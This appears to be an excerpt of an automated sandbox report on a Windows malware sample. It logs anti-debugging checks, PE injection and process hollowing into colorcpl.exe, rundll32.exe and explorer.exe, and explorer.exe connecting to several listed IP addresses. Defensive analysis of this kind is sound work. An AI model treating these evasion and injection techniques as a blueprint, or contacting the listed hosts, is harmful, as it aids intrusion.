Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671843 mov eax, dword ptr fs:[00000030h]	3_2_1E671843
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671843 mov eax, dword ptr fs:[00000030h]	3_2_1E671843
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E663820 mov eax, dword ptr fs:[00000030h]	3_2_1E663820
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BD820 mov ecx, dword ptr fs:[00000030h]	3_2_1E6BD820
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BD820 mov eax, dword ptr fs:[00000030h]	3_2_1E6BD820
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BD820 mov eax, dword ptr fs:[00000030h]	3_2_1E6BD820
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66182A mov eax, dword ptr fs:[00000030h]	3_2_1E66182A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EF80A mov eax, dword ptr fs:[00000030h]	3_2_1E6EF80A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E659803 mov eax, dword ptr fs:[00000030h]	3_2_1E659803
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D1800 mov eax, dword ptr fs:[00000030h]	3_2_1E6D1800
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D1800 mov eax, dword ptr fs:[00000030h]	3_2_1E6D1800
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6438E0 mov eax, dword ptr fs:[00000030h]	3_2_1E6438E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6438E0 mov eax, dword ptr fs:[00000030h]	3_2_1E6438E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6438E0 mov eax, dword ptr fs:[00000030h]	3_2_1E6438E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B98E7 mov eax, dword ptr fs:[00000030h]	3_2_1E6B98E7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EF8F8 mov eax, dword ptr fs:[00000030h]	3_2_1E6EF8F8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6338C4 mov eax, dword ptr fs:[00000030h]	3_2_1E6338C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6338C4 mov eax, dword ptr fs:[00000030h]	3_2_1E6338C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6338C4 mov eax, dword ptr fs:[00000030h]	3_2_1E6338C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6338C4 mov eax, dword ptr fs:[00000030h]	3_2_1E6338C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6338C4 mov eax, dword ptr fs:[00000030h]	3_2_1E6338C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6338C4 mov eax, dword ptr fs:[00000030h]	3_2_1E6338C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6338C4 mov eax, dword ptr fs:[00000030h]	3_2_1E6338C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6378D9 mov eax, dword ptr fs:[00000030h]	3_2_1E6378D9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6378D9 mov eax, dword ptr fs:[00000030h]	3_2_1E6378D9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6ED8B0 mov eax, dword ptr fs:[00000030h]	3_2_1E6ED8B0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6ED8B0 mov eax, dword ptr fs:[00000030h]	3_2_1E6ED8B0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EF889 mov eax, dword ptr fs:[00000030h]	3_2_1E6EF889
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6CB890 mov eax, dword ptr fs:[00000030h]	3_2_1E6CB890
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6CB890 mov eax, dword ptr fs:[00000030h]	3_2_1E6CB890
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627967 mov eax, dword ptr fs:[00000030h]	3_2_1E627967
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E657962 mov eax, dword ptr fs:[00000030h]	3_2_1E657962
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66196E mov eax, dword ptr fs:[00000030h]	3_2_1E66196E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66196E mov eax, dword ptr fs:[00000030h]	3_2_1E66196E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B5960 mov eax, dword ptr fs:[00000030h]	3_2_1E6B5960
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EF97D mov eax, dword ptr fs:[00000030h]	3_2_1E6EF97D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66B970 mov eax, dword ptr fs:[00000030h]	3_2_1E66B970
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66B970 mov eax, dword ptr fs:[00000030h]	3_2_1E66B970
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66B970 mov eax, dword ptr fs:[00000030h]	3_2_1E66B970
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D978 mov eax, dword ptr fs:[00000030h]	3_2_1E65D978
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63F950 mov eax, dword ptr fs:[00000030h]	3_2_1E63F950
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63F950 mov eax, dword ptr fs:[00000030h]	3_2_1E63F950
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E649950 mov eax, dword ptr fs:[00000030h]	3_2_1E649950
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E649950 mov eax, dword ptr fs:[00000030h]	3_2_1E649950
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BB953 mov eax, dword ptr fs:[00000030h]	3_2_1E6BB953
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627931 mov eax, dword ptr fs:[00000030h]	3_2_1E627931
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E5930 mov eax, dword ptr fs:[00000030h]	3_2_1E6E5930
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E5930 mov ecx, dword ptr fs:[00000030h]	3_2_1E6E5930
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F910 mov eax, dword ptr fs:[00000030h]	3_2_1E62F910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65B919 mov eax, dword ptr fs:[00000030h]	3_2_1E65B919
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910 mov eax, dword ptr fs:[00000030h]	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910 mov eax, dword ptr fs:[00000030h]	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910 mov eax, dword ptr fs:[00000030h]	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910 mov eax, dword ptr fs:[00000030h]	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910 mov eax, dword ptr fs:[00000030h]	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910 mov eax, dword ptr fs:[00000030h]	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910 mov eax, dword ptr fs:[00000030h]	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EB9EE mov eax, dword ptr fs:[00000030h]	3_2_1E6EB9EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EB9EE mov ecx, dword ptr fs:[00000030h]	3_2_1E6EB9EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EB9EE mov eax, dword ptr fs:[00000030h]	3_2_1E6EB9EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B19EE mov eax, dword ptr fs:[00000030h]	3_2_1E6B19EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B19EE mov eax, dword ptr fs:[00000030h]	3_2_1E6B19EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B19EE mov eax, dword ptr fs:[00000030h]	3_2_1E6B19EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6359C0 mov eax, dword ptr fs:[00000030h]	3_2_1E6359C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6359C0 mov eax, dword ptr fs:[00000030h]	3_2_1E6359C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6359C0 mov eax, dword ptr fs:[00000030h]	3_2_1E6359C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6359C0 mov eax, dword ptr fs:[00000030h]	3_2_1E6359C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70B9DF mov eax, dword ptr fs:[00000030h]	3_2_1E70B9DF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70B9DF mov eax, dword ptr fs:[00000030h]	3_2_1E70B9DF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov esi, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D9D0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D9D0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6399BE mov eax, dword ptr fs:[00000030h]	3_2_1E6399BE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E598D mov eax, dword ptr fs:[00000030h]	3_2_1E6E598D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E598D mov eax, dword ptr fs:[00000030h]	3_2_1E6E598D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E598D mov eax, dword ptr fs:[00000030h]	3_2_1E6E598D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B9983 mov eax, dword ptr fs:[00000030h]	3_2_1E6B9983
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62B991 mov eax, dword ptr fs:[00000030h]	3_2_1E62B991
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62B991 mov eax, dword ptr fs:[00000030h]	3_2_1E62B991
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov ecx, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov ecx, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DF99B mov eax, dword ptr fs:[00000030h]	3_2_1E6DF99B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669660 mov eax, dword ptr fs:[00000030h]	3_2_1E669660
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669660 mov eax, dword ptr fs:[00000030h]	3_2_1E669660
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6CD660 mov eax, dword ptr fs:[00000030h]	3_2_1E6CD660
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F626 mov eax, dword ptr fs:[00000030h]	3_2_1E62F626
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E705636 mov eax, dword ptr fs:[00000030h]	3_2_1E705636
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E661607 mov eax, dword ptr fs:[00000030h]	3_2_1E661607
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66F603 mov eax, dword ptr fs:[00000030h]	3_2_1E66F603
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633616 mov eax, dword ptr fs:[00000030h]	3_2_1E633616
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633616 mov eax, dword ptr fs:[00000030h]	3_2_1E633616
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C36EE mov eax, dword ptr fs:[00000030h]	3_2_1E6C36EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C36EE mov eax, dword ptr fs:[00000030h]	3_2_1E6C36EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C36EE mov eax, dword ptr fs:[00000030h]	3_2_1E6C36EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C36EE mov eax, dword ptr fs:[00000030h]	3_2_1E6C36EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C36EE mov eax, dword ptr fs:[00000030h]	3_2_1E6C36EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C36EE mov eax, dword ptr fs:[00000030h]	3_2_1E6C36EE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D6E0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D6E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65D6E0 mov eax, dword ptr fs:[00000030h]	3_2_1E65D6E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6636EF mov eax, dword ptr fs:[00000030h]	3_2_1E6636EF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6ED6F0 mov eax, dword ptr fs:[00000030h]	3_2_1E6ED6F0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63B6C0 mov eax, dword ptr fs:[00000030h]	3_2_1E63B6C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63B6C0 mov eax, dword ptr fs:[00000030h]	3_2_1E63B6C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63B6C0 mov eax, dword ptr fs:[00000030h]	3_2_1E63B6C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63B6C0 mov eax, dword ptr fs:[00000030h]	3_2_1E63B6C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63B6C0 mov eax, dword ptr fs:[00000030h]	3_2_1E63B6C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63B6C0 mov eax, dword ptr fs:[00000030h]	3_2_1E63B6C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F16CC mov eax, dword ptr fs:[00000030h]	3_2_1E6F16CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F16CC mov eax, dword ptr fs:[00000030h]	3_2_1E6F16CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F16CC mov eax, dword ptr fs:[00000030h]	3_2_1E6F16CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F16CC mov eax, dword ptr fs:[00000030h]	3_2_1E6F16CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EF6C7 mov eax, dword ptr fs:[00000030h]	3_2_1E6EF6C7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6616CF mov eax, dword ptr fs:[00000030h]	3_2_1E6616CF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62D6AA mov eax, dword ptr fs:[00000030h]	3_2_1E62D6AA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62D6AA mov eax, dword ptr fs:[00000030h]	3_2_1E62D6AA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6276B2 mov eax, dword ptr fs:[00000030h]	3_2_1E6276B2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6276B2 mov eax, dword ptr fs:[00000030h]	3_2_1E6276B2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6276B2 mov eax, dword ptr fs:[00000030h]	3_2_1E6276B2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B368C mov eax, dword ptr fs:[00000030h]	3_2_1E6B368C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B368C mov eax, dword ptr fs:[00000030h]	3_2_1E6B368C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B368C mov eax, dword ptr fs:[00000030h]	3_2_1E6B368C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B368C mov eax, dword ptr fs:[00000030h]	3_2_1E6B368C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62B765 mov eax, dword ptr fs:[00000030h]	3_2_1E62B765
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62B765 mov eax, dword ptr fs:[00000030h]	3_2_1E62B765
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62B765 mov eax, dword ptr fs:[00000030h]	3_2_1E62B765
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62B765 mov eax, dword ptr fs:[00000030h]	3_2_1E62B765
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643740 mov eax, dword ptr fs:[00000030h]	3_2_1E643740
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643740 mov eax, dword ptr fs:[00000030h]	3_2_1E643740
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643740 mov eax, dword ptr fs:[00000030h]	3_2_1E643740
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D375F mov eax, dword ptr fs:[00000030h]	3_2_1E6D375F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D375F mov eax, dword ptr fs:[00000030h]	3_2_1E6D375F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D375F mov eax, dword ptr fs:[00000030h]	3_2_1E6D375F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D375F mov eax, dword ptr fs:[00000030h]	3_2_1E6D375F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D375F mov eax, dword ptr fs:[00000030h]	3_2_1E6D375F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703749 mov eax, dword ptr fs:[00000030h]	3_2_1E703749
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EF72E mov eax, dword ptr fs:[00000030h]	3_2_1E6EF72E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633720 mov eax, dword ptr fs:[00000030h]	3_2_1E633720
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64F720 mov eax, dword ptr fs:[00000030h]	3_2_1E64F720
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64F720 mov eax, dword ptr fs:[00000030h]	3_2_1E64F720
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64F720 mov eax, dword ptr fs:[00000030h]	3_2_1E64F720
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F972B mov eax, dword ptr fs:[00000030h]	3_2_1E6F972B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70B73C mov eax, dword ptr fs:[00000030h]	3_2_1E70B73C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70B73C mov eax, dword ptr fs:[00000030h]	3_2_1E70B73C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70B73C mov eax, dword ptr fs:[00000030h]	3_2_1E70B73C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70B73C mov eax, dword ptr fs:[00000030h]	3_2_1E70B73C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E629730 mov eax, dword ptr fs:[00000030h]	3_2_1E629730
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E629730 mov eax, dword ptr fs:[00000030h]	3_2_1E629730
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E665734 mov eax, dword ptr fs:[00000030h]	3_2_1E665734
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63973A mov eax, dword ptr fs:[00000030h]	3_2_1E63973A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63973A mov eax, dword ptr fs:[00000030h]	3_2_1E63973A

Source: C:\Windows\SysWOW64\colorcpl.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Process queried: DebugPort
Source: C:\Windows\SysWOW64\colorcpl.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\chkdsk.exe	Process queried: DebugPort

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 3_2_068B9AA0 rdtsc

3_2_068B9AA0

Source: C:\Windows\SysWOW64\colorcpl.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 3_2_1E672EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,

3_2_1E672EA0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 37.97.254.27 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 62.72.50.88 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 156.237.159.158 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.140.89.24 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.247.81.50 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.93.103.39 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 3.33.130.190 80	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 68B0000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 65F0000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 68B0000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 65F0000 value starts with: 4D5A			Jump to behavior

Sample uses process hollowing technique

Source: C:\Windows\SysWOW64\colorcpl.exe	Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: C00000			Jump to behavior
